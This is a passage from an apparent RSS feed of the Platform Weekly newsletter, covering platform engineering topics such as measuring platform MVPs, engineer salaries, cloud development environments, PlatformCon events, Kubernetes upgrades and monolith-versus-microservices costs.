individual platforms for teams of 20 or so, this should be something that can be expandable outward, so always be careful of being overly niche or too specific)\nStep 2: Define the parameters of the goal, and understand the team.\nThis developer team has 25 members. They are a mix of a few experienced, and a large group of less experienced devs.\nShare a survey to get feedback from the team, organize a call to discuss issues, interview a few key members + interview the head of the team.\nThe team has to spend a lot of time messing around with their own Terraform. The junior devs struggle to do this and so rely on a large number of Tickets to a supporting Ops team. However, due to delays in help, they frequently Slack msg the experienced devs who can help them. This however puts increased pressure on the Senior devs, who have to fulfill their tasks + a shadow Ops role. Senior devs feel they are spending too much time training junior devs, and running Ops while Junior devs constantly feel like they are out of their depth.\nStep 3: Set the baseline measurements for your platform\nNow that you\u2019ve identified what the key issues are, for example in this case it is devs messing with Terraform. Senior Devs feel like they\u2019re running shadow ops. And Junior devs are feeling underwater.\nYou can share an (anonymized) survey on specific points like for example these:\n\n\nHow are you interacting with our Terraform?\n\nHow many times per day do you interact with our Terraform?\n\nHow many requests per day do you get from other members of the team for help with Terraform?\n\nOn a scale of 1-10, how do you feel about your current workload (with 1 being exceptionally overwhelmed, and 10 being perfectly content). Or something similar. This is a subjective question, trying to gauge perception and feeling.\n\nWhat do you find most challenging about your current workload?\nYou could then also track:\n\n\n# of Jira tickets\n\nChanges to TF files\nYou then have a sense of what you need to focus on for this MVP, and can easily look back 6 months later once you\u2019ve built an MVP for this use case, track these metrics, and reshare this survey.\nThose responses then make it far easier to prove value, secure more funding, and expand outward to other teams.\nThis MVP of course features a relatively easy and clear-cut case. Life tends not to be so simple.\nBut it highlights how platform as a product and product management principles are what drive platform engineering success.\nThis process of honing in and focusing on the specifics of what your goal is, using user research to set its parameters clearly, and then using servers plus clear metrics to set the baseline is crucial to measuring platform engineering no matter what your objectives are.\nThese are all concepts from product management, that are supposed to be what makes platform engineering a key differentiator (and are unsurprisingly what are missing, from those teams who struggle with measurement).\nThis really is platform engineering\u2019s biggest problem.\nBut a LOT is happening to solve it. I\u2019ll be sharing a lot of content over the coming months going into more details on this topic, on the MVP Success Metrics Framework we use in the Platform Engineering Fundamentals course, and on best practices you can use for measuring your own (likely more complicated) challenges.\nStay tuned\u270c\ufe0f]]>\n  \n  Mon, 24 Mar 2025 00:00:00 GMT\n\n\n  Being a platform engineer in 2026: Career reality check\n  https://platformweekly.com/issues/being-a-platform-engineer-in-2026-career-reality-check\n  https://platformweekly.com/issues/being-a-platform-engineer-in-2026-career-reality-check\n  \n  \nOne of the biggest advantages we have in the community is getting a clear eyed view on the data of what 100s of thousands of engineers are doing, asking, curious about or struggling with. It\u2019s that insight that lets us build our major research reports, and that guides the course.\nEven small details like this article getting almost 860% more reads on avg in the last 4 weeks tells us a lot. There are a LOT of new platform engineers, and even more uncertain platform engineers. So let\u2019s try and help that.\nWhat are platform engineers building in 2026?\nThe industrial revolution of software, the shift from artisanal workshops to production lines.\nTake my favourite case study we mention everywhere. SIXT, 40 platform engineers serve 800 developers. That\u2019s a 20:1 ratio, compared to the traditional 5:1 model with fragmented operations, security, and infrastructure teams. The efficiency gains are absolutely massivel Time-to-market reduced by 50%, standardization is almost total, the platform team has absorbed domains from database ownership to SRE.\nIn the case of Sixt, the platform team isn\u2019t just thinking about DevEx and advanced Ops. They\u2019re building digital factories that produce software at insane speed (often a gentically) with enforced governance, guardrails, etc. They aren't pumping out slop. Trust me.\nAnd what are platform engineers earning to do this?\nNorth America: $160,000 USD averageEurope: $104,000 USD average\nYes. Salaries are down massively from 2024 ($193K NA, $118K EU), you know my thoughts on that. The shift is more about market evolution than pay.\nIn 2024, platform engineering was led by senior pioneers building first-generation platforms, so compensation skewed high. By 2025, the field has broadened: mid-level engineers (3\u20137 years) and more juniors are entering as teams scale, widening the salary range and lowering averages.\nThe \u201cdecrease\u201d means things are getting more mature, not less valuable. Platform engineering is becoming a standard function that every org has, and everyone knows about.\nSo, what do you need to know to prepare for this?\nWell\u2026 here are 5 things you need to be thinking about.\n\n\nUnderstand the roles: Infra platform engineering, DevEx, Security, Observability, Data, AI, and more all converge in platform engineering.\n\nMultidisciplinary skills: Platform engineering combines scalable architecture, product-focused development, embedded security in pipelines, and continuous operational reliability improvement based on real usage patterns. You need to be  thinking about all of this and how it connects.\n\nFocus on product thinking: measure adoption, UX, reliability, and developer impact.\n\nAnticipate challenges: scaling to hundreds of devs, balancing speed, security, and stability etc.\n\nAct intentionally: build reusable platforms, embed security, and improve through feedback loops. Think continual, long term, iteration. Not just short term project thinking.\nPlatform engineering is more important than ever, and there is no better opportunity for those who know what they\u2019re doing.\nSo let\u2019s do it together!]]>\n  \n  Wed, 25 Feb 2026 00:00:00 GMT\n\n\n  Don\u2019t start your platform journey with Portals or GenAI\n  https://platformweekly.com/issues/dont-start-your-platform-journey-with-portals-or-genai\n  https://platformweekly.com/issues/dont-start-your-platform-journey-with-portals-or-genai\n  \n  \nHey there! Welcome to Platform Weekly, your weekly dance of the platform engineering salsa. This week we\u2019ve got an awesome guest NL from Talia Moyal from Gitpod highlighting some awesome stuff from their new whitepaper on the power of cloud development environments .\nFor the sake of developer productivity, don\u2019t start your platform journey with Portals or GenAI\nGuest newsletter by Talia Moyal, Product at Gitpod\nAs a platform engineer, it\u2019s never clear where to start your platform journey. But at the top of everyone\u2019s list, there are three initiatives that keep coming back: \n\n\nDeveloper Portals\n\nGenerative AI (GenAI)  \n\nStandardized and automated development environments\nI\u2019m going to talk through these initiatives, some of the ways in which they fall short, and where I recommend starting to maximize your ability to improve developer productivity as a platform engineer. \nPortals connect all tools, documentation, and team information in one central catalog. They are especially helpful for large teams with complex infrastructure, but can be equally beneficial for smaller teams who are looking for a unified interface where developers can access resources. Where do Portals fall short? \n\n\nAdoption challenges: Portals are a broad tool that solve many different sub-problems. As with any platform initiative, without a strong enough pain to address or organizational priority, adoption will stall. Additionally, introducing new interfaces to developers can take significant time to enact behavioral change. \n\nLimited scope: Portals commonly focus on the discovery of resources, which usually appeals more to leadership than developers. This focus is also more relevant to the scaffolding and launching of new services, at the start of the development lifecycle, leaving day 2 concerns like updates, patching, and maintenance to still be considered\nWe can all agree that GenAI is revolutionizing how developers write, document, and test code. By leveraging LLMs, these tools generate code snippets, suggest improvements, and even identify potential bugs. GenAI shines when it comes to automating repetitive tasks and providing intelligent insights during development. \nWhere does genAI fall short? \n\n\nMeasuring return on investment: Understanding if GenAI is worth the resources is challenging. Organizations are asking unanswered questions around \u2018who is getting value?\u2019, \u2018how much value?\u2019, \u2018how much faster are we going?\u2019.\n\n\nAccuracy and reliability: GenAI can generate code that is syntactically correct but logically flawed, or doesn\u2019t fully meet specific requirements of a task. It doesn\u2019t \u2018understand\u2019 code in the way humans do, rather it generates code based on patterns, which can lead to misapplication of concepts or inappropriate suggestions. \n\nLimited scope: Similarly to portals, GenAI only supports a short part of the development lifecycle. While it can improve productivity related to writing boilerplate code, it relies on developers to be able to set up their environment and integrate these tools appropriately. \nCloud development environments are standardized and automated development environments pre-configured with all tools, dependencies and packages required to write code. For developers, CDEs provide the freedom to use all of their favorite tooling without the overhead of setting up a development environment. For platform teams, CDEs provide a centralized place to standardize and automate everything related to the setup, maintenance, access provisioning and troubleshooting of development environments. As a result, this enables platform teams to shift their influence to the inner loop of the software development life cycle, unblocking the core of developer productivity issues. \nCDEs should be implemented as a foundation to, or in combination with, Portals and GenAI, making them a perfect first initiative. \nOrganizational benefits of CDEs: \n\n\nEnabling developers to self-serve\n\nImproving developer productivity\n\nImproving developer experience\n\nImproving security posture\n\nSupporting remote and hybrid work \nDownload this white paper to learn more about the ROI of standardized and automated development environments specific to platform teams. \nQuick bites\nArticle of the week:\n\n\nPlatform Engineering: It Is All About the Tooling \nFrom the community:\n\n\nWant to discuss this newsletter with other platform engineering fans? Come join the Slack!\nCommunity jobs spotlight:\n\n\nPlatform Engineer, Managed Operations at AWS in Dublin\n\nMachine Learning Platform Engineer at Adobe in Bengaluru]]>\n  \n  Fri, 16 Aug 2024 00:00:00 GMT\n\n\n  Want your platform to succeed? Focus on Testing\n  https://platformweekly.com/issues/want-your-platform-to-succeed-focus-on-testing\n  https://platformweekly.com/issues/want-your-platform-to-succeed-focus-on-testing\n  \n  \nPlatform engineers these days seem to be building everything. We\u2019re shifting security and observability down into the platform. We\u2019re building data platforms, and AI platforms, but the seemingly forgotten \u201cfrontier\u201d across all of this is the basic idea of\u2026 testing. \nThis is a huge topic for us at the moment. Just this week we had an epic one-two punch webinar and blog this week from Ole from TestKube (I also saw an awesome demo focused fully on how platform engineering and Kubernetes-native testing.\nAnd over the last month, we\u2019ve been surveying the readers of Platform Weekly on the state of their testing. When sharing the survey out, I received nine! Yes, nine emails saying \u201cFinally, someone is talking about testing.\u201d And I am not surprised, the results of the survey were dire\u2026\nZero of the teams talked to had embedded testing directly into their platform.\n\n\n63% of respondents said scaling test automation is a challenge they need to solve this year\n\n53.7% described it as a significant challenge or even a major blocker\n\n67% still orchestrate their tests entirely inside CI/CD pipelines (even though those pipelines weren\u2019t built for the scale and testing demands)\n\nHalf of all teams say \u201chigh maintenance overhead\u201d and \u201cslow execution times\u201d are their top pain points\nIs it hopeless? Definitely not. As the industry matures, there is so much more focus on these underappreciated (but incredible high value topics). And there is a lot more coming. Platform engineering is growing beyond the basics,, new experts like Ole are sharing their knowledge, and so we can get way deeper on the crucial, but maybe less sexy stuff.]]>\n  \n  Mon, 24 Nov 2025 00:00:00 GMT\n\n\n  PlatformCon is LIVE in London\ud83d\udc82\n  https://platformweekly.com/issues/platformcon-is-live-in-london\n  https://platformweekly.com/issues/platformcon-is-live-in-london\n  \n  \nHey there! This is Platform Weekly, your toot of the platform engineering trumpet\ud83c\udfba\nPlatformCon is going LIVE in London\ud83d\udc82\nPlatformCon 2024 is going LIVE for one day in London on Wednesday, 12th of June\ud83d\udd25\nDo you live in London? Or the UK? Or France\u2026 or Europe, or anywhere on Earth. Come say hi! Super excited to help organize a live day for PlatformCon in London which will include some of the biggest names in the platform engineering space giving talks, and leading some hands-on workshops.\nIt\u2019s really the perfect way to complement the awesome stuff we\u2019ve got organized for the rest of the virtual PlatformCon 2024 event. I can\u2019t wait to meet people in person\ud83c\udf89\nThere are only 300 tickets available so make sure to book soon. Hope to see you there!\nQuick bites\nArticles that blew me away: \n\n\n It\u2019s Official: Platform Engineers Earn More Than You (This article from December continues to make waves!)\nFrom the community:\n\n\nTell your platform story. What got you into Platform Engineering?]]>\n  \n  Wed, 03 Apr 2024 00:00:00 GMT\n\n\n  5 ways to make your developer platform more intuitive\n  https://platformweekly.com/issues/5-ways-to-make-your-developer-platform-more-intuitive\n  https://platformweekly.com/issues/5-ways-to-make-your-developer-platform-more-intuitive\n  \n  \nHey there! \n\u200dPlatformCon 2023 is live \ud83d\ude80 I can\u2019t wait to see what the community comes up with this year. Be sure to check out the call for proposals and submit your talk.\nThis week\u2019s guest writer is Fernando Villaba, Sr. Tech Evangelist at Humanitec. He shares 5 tips for making your Internal Developer Platform intuitive.\nLet\u2019s get bakin\u2019\n5 ways to make your developer platform more intuitive\nFernando Villaba, Sr. Tech Evangelist at Humanitec\nIf you\u2019re building an Internal Developer Platform, you want it to be safe and intuitive to learn and use. Developers should be able to use your IDP without having to read the manual first. Here are 5 tips for designing an intuitive platform:\n\n\nChoose features wisely. Make your IDP simple to use and easy to navigate, with opinionated solutions that apply to your organization. In general, it is better to have a smaller number of well-designed and relevant features than a large number of incohesive features. Design your IDP to communicate as many of these features as possible intuitively while also discouraging features that can be harmful or an antipattern.\n\nUse signifiers. Signifiers are cues \u2013 labels, icons, tooltips, and other types of visual indicators \u2013 designed to help users understand and navigate your IDP\u2019s features. They should only be used where design cannot be intuitive in other ways. Too many signifiers can clutter the UI or CLI output and overwhelm your users. The arrows on the stove in the picture below are a great example of this \u2013 they can\u2019t hide the overall poor design!\n\n\nLeverage existing conceptual models. Choose ones that your user is already familiar with like, for example, the use of color. For example, using green for error and red success will cause unnecessary confusion.\n\nMap features and properties. You\u2019ll want to do this in a way that makes it easy to infer the relationship between them. Compare the stovetop below with the previous photo \u2013 this mapping is much more intuitive! For example, if a workload is the unit of deployment in your IDP, all of its properties and related features should be close to it in the UI.\n\n\nProvide feedback. Whenever a developer performs an action, your IDP should give feedback on whether that action has succeeded or failed. Make sure the feedback is useful and accurate \u2013 poor feedback can be worse than no feedback at all! Here\u2019s an example of great feedback from Kind:\nBut this is just the beginning. There is so much more to designing a great user experience for your IDP. Check out the full blog I wrote on Medium. And let me know your thoughts on Twitter at @nandoyum.\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 PlatformCon 2023 is live! The platform engineering community is thrilled to bring back this virtual conference by and for platform engineers for its second year on June 8th/9th.\nSign up today and be the first to get updates on new speakers, opportunities to get involved, and in-person meetups. And if you\u2019re a platform expert, leader, or practitioner, submit your talk proposal to share your insights with the community! The call for proposals is open through February 28th.\n\ud83e\udd50 Another take on SRE vs. DevOps vs. Platform Engineering on The New Stack.\n\ud83e\udd50 Here are 5 things to consider when introducing infrastructure automation.\n\ud83e\udd50 Scaling enterprise-wide Kubernetes adoption can be a \ud83d\udc15. Our next webinar dives into common challenges and solutions.\n\ud83e\udd50 The DevOps is dead controversy lives on in 2023\u2026\nHave you joined the Platform Engineering Slack channel? If not, you're missing out. Here are some job opportunities recently shared by the community: \n\n\nSportec Solutions AG is looking for a Technical Product Owner\n\nBazaarvoice is looking for a Senior DevOps Engineer\n\nASAPP is hiring a Senior Software Engineering Manager, Platform\n\nKubeshop is looking for a Staff Platform Engineer\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project, so if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca]]>\n  \n  Thu, 02 Feb 2023 00:00:00 GMT\n\n\n  3 myths in platform engineering\n  https://platformweekly.com/issues/3-myths-in-platform-engineering\n  https://platformweekly.com/issues/3-myths-in-platform-engineering\n  \n  \nPlatformCon is my favorite time of year for a number of reasons. But the most important of all is the learning. I can get the chance to watch 100s of talks, and talk to dozens and dozens of incredibly interesting people from across the platform engineering universe.\nI was able to get a sneak preview of ClearRoute\u2019s State of the Route to Live 2025 report, which is based on their analysis of data from 30 Route-to-Live (RTL) assessments across $2 billion in engineering spend.\nHere are 3 of the myths they highlight in the report that surprised me:\nMyth 1: More process = More safety. Over-governance more often just leads to unnecessary delays and unread signoffs, rather than improved safety. Whereas, teams that simplified and implemented \"compliance as code\" saw delivery time improve and change failure rates drop by 64%.\nMyth 2: More QA = Higher quality. Excessive manual QA actually WORSENED outcomes. Teams with more testers than developers had 43% more defects. Those with automated, well-integrated tests, though, resulted in an 81% reduction in post-deployment defects.\nMyth 3: Engineers naturally align with business goals. As someone battle tested in the art of helping teams adopt platform engineering, this one didn\u2019t surprise me, but what does surprise me is how often leaders assume engineers will naturally care about business goals. \nLeadership & engineers 9/10 times are not speaking the same platform love language. And it causes challenges every single time.\nThe report is still in its final stages, but I will share it here when it\u2019s done.\nNot often you get to zoom in on learnings from 2b in spending.]]>\n  \n  Wed, 13 Aug 2025 00:00:00 GMT\n\n\n  PlatformCon is here\n  https://platformweekly.com/issues/platformcon-is-here\n  https://platformweekly.com/issues/platformcon-is-here\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly boogie board on the platform engineering tsunami. This week is all about the world\u2019s largest platform engineering event, PlatformCon is here!\nThere is only one link that matters this week. Register for PlatformCon!\nPlatformCon is here\nThe world\u2019s largest platform engineering conference starts in just 3 days. I can\u2019t believe we\u2019re almost here. It\u2019s always crazy trying to organise an event of this scale. We\u2019re a small team, and we always try and do a LOT. But this time has been next level. But it is so so worth it. Take a look at why\ud83d\udc47\nMore learning, more content, more formats. So what does next week look like? Well virtually, we\u2019re talking about:\n\n\n300 speakers\n\n150+ hours of content\n\n30 hands-on workshops\n\n3 live expert panels\n\n5 days of nonstop platform engineering\nThat 150 hours of content includes over 200 virtual talks on everything from how platform engineering intersects with AI, security, observability and more, to lessons from successful and failed platforms, and stories from experts of every industry, geo, and company size. Go check out the full list. There are some real bangers in there.\nBut the main events at PlatformCon next week?\n\n\n450 people will come together in New York City for the first-ever PlatformCon Live in the US.\n\n700 people will come together in London\n\nOver 6,000 people will attend 30 hands-on platform engineering workshops.\nIf you want to be one of them, it\u2019s very close to your last chance\u2026\nRegister for PlatformCon, join a workshop, purchase a Live Day ticket and let\u2019s goooooo!!]]>\n  \n  Thu, 14 Aug 2025 00:00:00 GMT\n\n\n  We came, we saw, we Kube'd.\n  https://platformweekly.com/issues/we-came-we-saw-we-kubed\n  https://platformweekly.com/issues/we-came-we-saw-we-kubed\n  \n  \n3 years ago, I had 50+ KubeCon conversations explaining \u201cwhat is platform engineering\u201d, at the same time we struggled to get 15 people into a Roundtable (in which half the people had no idea what platforms were), and the conversation, though fun, never made it far beyond that.\nNow? The industry (and community) is more mature than ever before\n\n\n53 people joined the Roundtable on Monday\n\n36 joined our three back-to-back workshops\n\n34 joined our Roundtable on Tuesday\nAnd 980 people joined us at House of Kube. And at the same time, that feeling of community has never been stronger.\n\u200d\nAnd probably more important - the conversation has never been deeper. Intense debates on architecture frameworks, enterprise best practices, and more.\nATL - it\u2019s been honour\ud83d\udc4b]]>\n  \n  Mon, 24 Nov 2025 00:00:00 GMT\n\n\n  Platform masters. Tell me your secrets.\n  https://platformweekly.com/issues/platform-masters-tell-me-your-secrets\n  https://platformweekly.com/issues/platform-masters-tell-me-your-secrets\n  \n  \nThere are just 3 days left to submit a talk to PlatformCon 2025. Every year, I tell you we will have the best lineup, the coolest speakers, and the most interesting talks. And every year my mind gets blown away again.\nWe are truly in the platform engineering age. Gartner says that in 2026 80% of engineering organizations will have an Internal Developer Platform (IDP). Everyone loves an analyst prediction that confirms their bias, but it isn\u2019t hard here to go beyond that quote and just look around at what we are seeing. Platform engineering is eating the world.\nI don\u2019t just mean what I\u2019ve talked about before, that the community and PlatformCon are growing like crazy.\nBut when I look at topics and ideas in the 100s of talk submissions, we received so far, there is something different to last year. The depth that we can go now go, and the scope of what platform engineering encompasses has reached new heights.\nI\u2019m talking about things like:\n\n\nHeads of Platform & Platform Product Owners sharing their real-world multi-year experience running platforms at large enterprises.\n\nPlatform engineering & security/compliance in regulated industries (Sexy)\n\nPlatform engineering and agentic AI\nNot to mention submissions for talks that go deeper than ever before into experiences, challenges, and lessons of Platform as a Product, Infrastructure platform engineering, or just plain adoption.\nI know you\u2019ve got a story to tell too! You\u2019ve got until this Sunday February 23rd, 11:59 PM Pacific Standard Time (PST) to submit.\nI want to hear from you.]]>\n  \n  Wed, 13 Aug 2025 00:00:00 GMT\n\n\n  Cloud Development Environments for platform engineers\n  https://platformweekly.com/issues/cloud-development-environments-for-platform-engineers\n  https://platformweekly.com/issues/cloud-development-environments-for-platform-engineers\n  \n  \nThe platform engineering community has just published our latest report, following through on our full force focus into learning and best practices, we break down Cloud Development Environments for Platform Engineers. \nThere are 3 megatrends defining the software engineering universe at the moment: the rise of platform engineering, the massive impact of AI-powered development, and the risks and demands of cybersecurity.\nCDEs, which are preconfigured cloud-native environments that automate, secure, and standardize workflows. They remove local setup, speed onboarding, and unify the development lifecycle drive and support all of these \u201cmegatrends\u201d.\n\n\nFor platform engineering, while IDPs manage the broader ecosystem and \u201couter loop\u201d workflows. CDEs focus on the developer\u2019s \u201cinner loop\u201d of coding, testing, and iterating.\n\nCDEs replace local setups with secure, ephemeral, policy-enforced workspaces, cutting the attack surface massively. Pretty crucial in an era where AI can drive 36K attacks a second and breaches cost $4.88M on avg.\n\nAI & PE are symbiotically connected and CDEs support this perfectly. Embedded into IDPs, they streamline every layer of the AI workflow from provisioning compute to using code assistants to deploying agents, within a governed, auditable, and secure environment.\nDoes your internal developer platform NEED a CDE? Maybe not. Would a CDE help? Probably. Should you understand exactly what CDEs are and whether they will drive your platform engineering, AI or security goals?\nAbsolutely. So go find out.]]>\n  \n  Thu, 21 Aug 2025 00:00:00 GMT\n\n\n  The Platform Revolution comes to Paris\n  https://platformweekly.com/issues/the-platform-revolution-comes-to-paris\n  https://platformweekly.com/issues/the-platform-revolution-comes-to-paris\n  \n  \nHey there! This is Platform Weekly, 72 weeks ago while enjoying a croissant in France, I decided to start a weekly platform engineering newsletter. Well now, after 500 days\u2026 I am coming back to France for #KubeCon Paris.\nThe Platform Engineering Revolution comes to Paris\nFor everyone here who has been to KubeCon, you know how hectic it can be. Even beyond the planned meetings, from the booth, to coffee chats, to mezcal in the evening, there are easily 100s of conversations across the 4 days.\nI\u2019ve been going to KubeCon for years now, and it was literally only 2 years ago that 99% of those 100s of conversations were people asking me, \u201cwtf is platform engineering?\u201d.\nThis year? We aren\u2019t just talking about platform engineering. We\u2019re going deep. We now have best practice inspired reference architectures that have been downloaded 1000s of times (and open source versions too), we\u2019ve got huge events like PlatformCon (almost 35k attendees!!), we have dozens of experts, practitioners and companies all thinking about and working on platform engineering 24/7.\nMost of all? We\u2019ve got an effective process to get started with platform engineering in a clear, and replicable way. \nThis is just in the last 2 years.\nImagine what 2025 will look like? I can\u2019t wait. See you there.\nP.S. Will you be in KubeCon Paris? Come say hi at Booth #D35\nQuick bites\nArticles that blew me away: \n\n\n Developer Productivity Engineering at Netflix\nFrom the community:\n\n\nWill you be at KubeCon Paris? Come join the channel]]>\n  \n  Wed, 03 Apr 2024 00:00:00 GMT\n\n\n  Can Devs Discover Your Platform From The Toilet?\n  https://platformweekly.com/issues/can-devs-discover-your-platform-from-the-toilet\n  https://platformweekly.com/issues/can-devs-discover-your-platform-from-the-toilet\n  \n  \nHey there! It\u2019s Platform Weekly. \ud83e\udd50 We\u2019re like your first hot shower after a long day at the beach \u2013 we hit different. \ud83c\udfd6\ufe0f Let\u2019s get bakin\u2019\nCan devs discover your platform from the toilet?\nThis paper from Google engineer productivity researchers examines the effectiveness of 1-page printed newsletters written by devs and posted in restrooms for the purpose of promoting awareness and adoption of software tools and practices, a tactic called \u201cTesting on the Toilet\u201d or TotT. It also compared TotT to other tactics such as social media, email announcements, and peer learning.\nHere\u2019s how their findings can help you sell your Internal Developer Platform to your devs \ud83d\udc47\n\n\nTotT works for most tools because of the toilets. \ud83d\udebd Researchers found that newsletters posted to the bathroom performed better than the same posters posted ar an annual project fair. The discrepancy was attributed to poor placement at the job fair and the fair\u2019s audience being too broad.\n\n\nSocial media can help drive awareness, with a small caveat: unlike with printed newsletters, the magnitude of the impact depends on the dev\u2019s personal network. Consider if social media is a viable medium to promote your platform given the size of your platform advocates\u2019 network.\n\nTargeted emails to relevant mailing lists effectively boosted users, but not for as sustained a period of time as TotT. One explanation raised by the researchers is that emails are more likely to be deleted or buried under new emails than a single newsletter displayed in the bathroom for an indefinite period of time. \n\nDevs reported learning about tools from peer devs. This is why platform advocacy is so important. Create opportunities for users to show how the platform is adding value. \n\nPlatform design still matters. Is your platform easy to try? Is it relevant to your developers\u2019 responsibilities? Is it intuitive to use? If the product is a dud, better advertising won\u2019t fix your adoption problem.\nShare | Tweet | Forward\n\u200dShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\u064eQuick Bites\n\n\n According to the latest DevOps and Cloud InfoQ Trends Report \u2013 July 2023, \u201cthe evolution of platform engineering involves a shift toward simplification, focusing on value delivery, and adopting a platform-as-a-service mindset.\u201d \n\nWhich is concerning, to say the least. If you\u2019re getting a PaaS, you aren\u2019t following a platform as a product approach. And a product mindset is the key to building a platform your devs actually want to use.\n\n Like any other tool, generative AI can pose a DevOps cybersecurity risk if you aren\u2019t careful. Surprise, I guess? \n\nDoes ChatGPT help or hurt your devs\u2019 productivity? According to this article, ChatGPT both helps debug code and outputs buggy code. \ud83d\ude06\nUpcoming Webinars\n\n\n Many teams want to enable PR and ephemeral environments for their devs, but they struggle to maintain consistency across environments, integrate optimally in the workflow of devs, and keep costs low. If you can relate, this next webinar is for you.\n\n\nBuild multi-region resilient applications emphasizing chaos engineering | Teja Swaroop Mylavarapu, Lead Software Engineer at Capital One | July 27, 2023 | 9:00 PM CEST | 3:00 PM EDT\n\nCracking the code: Single pane of glass in observability | Sean Alvarez, Principal Consultant at Thoughtworks, Inc | August 1, 2023 | 9:00 PM CEST | 3:00 PM EDT\n\nSaaS success secrets: Dynamic tenant provisioning in cloud infra & automation | Jaroslav Vojtek, Senior DevOps Engineer at Labyrinth Labs | August 2, 2023 | 7:00 PM CEST | 1:00 PM EDT \nCommunity Highlights\nHave you joined the Platform Engineering Slack channel? If not, you're missing out. Here are the highlights from this week:\n\n\nA deep learning team needs a platform for model inference: what's the best solution?\n\n How to integrate an IDP development with GitOps\n\nSearching for tools with real time reflection (without polling) of config values\n\n Has anyone used Terraform to create a cloudwatch dashboard monitoring read/write events in an s3 bucket?\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Thu, 27 Jul 2023 00:00:00 GMT\n\n\n  Why are K8s upgrades so tough?\n  https://platformweekly.com/issues/why-are-k8s-upgrades-so-tough\n  https://platformweekly.com/issues/why-are-k8s-upgrades-so-tough\n  \n  \n\ud83e\udd50 Platform Weekly here! You know that feeling you get when you flip your pillow to the cold side in the middle of the night? Reading us is better than that. Let\u2019s get bakin\u2019\nWhat makes K8s upgrades so challenging?\nText by Fawad Khaliq, Founder and CTO at Chkk Memes by Luca Galante\nOur last 100+ conversations with DevOps/SREs are summarized in 4 nouns and 3 emotions: \u201cKubernetes Cluster Version Upgrades\u201d\u2026. \u201cHard, Pain, Work\u201d.\nWhy are Kubernetes upgrades so challenging? Why isn\u2019t a Kubernetes upgrade as easy as an iPhone upgrade experience? Here\u2019s what makes it hard and why DevOps/SREs find change management stressful:\n1\ufe0f\u20e3 Kubernetes isn\u2019t, and shouldn\u2019t be, vertically integrated.\nK8s is designed for flexibility and cloud providers work hard to ensure this flexibility isn\u2019t compromised. \n\ud83d\udca1The solution is a cloud-owned k8s control plane (EKS, GKE, AKS, OKE \u2026) with a few managed add-ons (e.g. CoreDNS, CNI \u2026) and some guidance on how to build apps, while giving the flexibility of introducing new components/add-ons/apps to DevOps/SRE teams. \nThe cost of this flexibility is that these DevOps/SRE teams must now own the lifecycle of the add-ons and the applications that run on top of the k8s infrastructure.\n2\ufe0f\u20e3 You don\u2019t know what\u2019ll break before it breaks.\nWith so many moving pieces, it\u2019s hard to know if your running k8s components have incompatibilities or latent risks. \nMany users use spreadsheets to track what they are running vs what they should be running, which is both painful and error prone. \nWe all know that \u201cNot broken != working-as-it-should\u201d. Latent risks and unsupported versions may keep lurking around for weeks/months until they cause impact. \nWhat\u2019s needed here is sharing the collective knowledge of the DevOps/SRE teams, so if one team has encountered an upgrade risk then everyone else just gets to avoid it without any extra work on their end. \nUsing spreadsheets to track what's running on k8s be like:\n3\ufe0f\u20e3 Getting an upgrade right takes a lot of time.\nDeloitte\u2019s CIO survey estimates that 80% of DevOps/SRE time is spent in operations/maintenance, and only 20% is spent on innovation. \nI am not surprised as cooking up a \u201csafe\u201d upgrade plan is a huge time sink. You have to read an inordinate amount of text and code (on release notes, GitHub issues/PRs, blogs, etc.) to really understand what\u2019s relevant to you vs what\u2019s not. \nThis can take weeks of effort, which is time that you could\u2019ve spent on business critical functions like architectural projects and infrastructure scaling/optimization.\nFawad is the Founder and CTO at Chkk - a company focused on eliminating operational risks through Collective Learning. Formerly, he was a technical lead for Amazon EKS, and early engineer at PLUMgrid, creators of eBPF. You can follow him on Twitter @fawadkhaliq.\nRead the full article here.\nIs the era of microservices over?\nLambda and serverless were touted by AWS to be the future, but even their own engineers disagree.\nLast week, an Amazon Prime Video case study stirred up some controversy when the team revealed they had reduced costs by 90% by moving from microservices back to a monolith: \u201cMicroservices and serverless components are tools that do work at high scale, but whether to use them over monolith has to be made on a case-by-case basis.\u201d\nIt\u2019s surprising to some because AWS frequently frames microservices and serverless architecture as the best way to modernize applications. \nBut it also isn\u2019t surprising (or, at least, it shouldn\u2019t be \ud83d\ude2c) that some architectures work well for some businesses but not for others. \nAmazon Prime Video\u2019s old architecture was based on Amazon Lambda, which is good if you want to build services quickly. However, it wasn\u2019t cost-effective when running at high scale. Let\u2019s take the orchestration workflow, for example. Alex Xusuccinctly explained that \u201cAWS step functions charge users by state transitions and the orchestration performs multiple state transitions every second.\u201d\nFurthermore, in the old architecture, intermediate data was stored in Amazon S3 before it was downloaded. High volume downloads became tr\u00e8s cher \ud83d\udcb8.\nA monolithic architecture is supposed to address these cost issues. From Alex Xu, again: \u201cThere are still 3 components, but the media converter and defect detector are deployed in the same process, saving the cost of passing data over the network.\u201d \nAnd that\u2019s where the 90% cost reduction came from! Pretty neat, right?\nSo the next time someone tells you \u201cmicroservices good, monoliths bad\u201d (or \u201cmonoliths good, microservices bad\u201d for that matter), kindly send them this newsletter. \ud83d\ude09 And remember: your business should determine your architecture, not the other way around.\nHave you joined the Platform Engineering Slack channel? If not, you're missing out. Join us to weigh in on some open questions:\n\n\nWhat is the best option for automation on a product deployed on an AWS Kubernetes cluster? \n\nHow do create a value proposition your platform?\n\nHow do you manage your repository data? \n\n\nWhat are the best CI/CD technologies?\n\n\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Thu, 11 May 2023 00:00:00 GMT\n\n\n  3 biggest lessons from the AWS Summit\n  https://platformweekly.com/issues/3-biggest-lessons-from-the-aws-summit\n  https://platformweekly.com/issues/3-biggest-lessons-from-the-aws-summit\n  \n  \nHey there! This is platform weekly, your weekly sip of platform engineering tea. Want the latest and greatest in the platform engineering universe? Let\u2019s dive in\ud83d\udc7d\n 3 biggest lessons from the AWS Summit\n12000+ people were at the AWS summit in London this week. I feel like I talked to all of them. How can I get started? What is a Minimum Viable Platform? I\u2019ve got my Internal Developer Platform, now what? To think 3 years ago, I had to chase people down to tell them what platform engineering 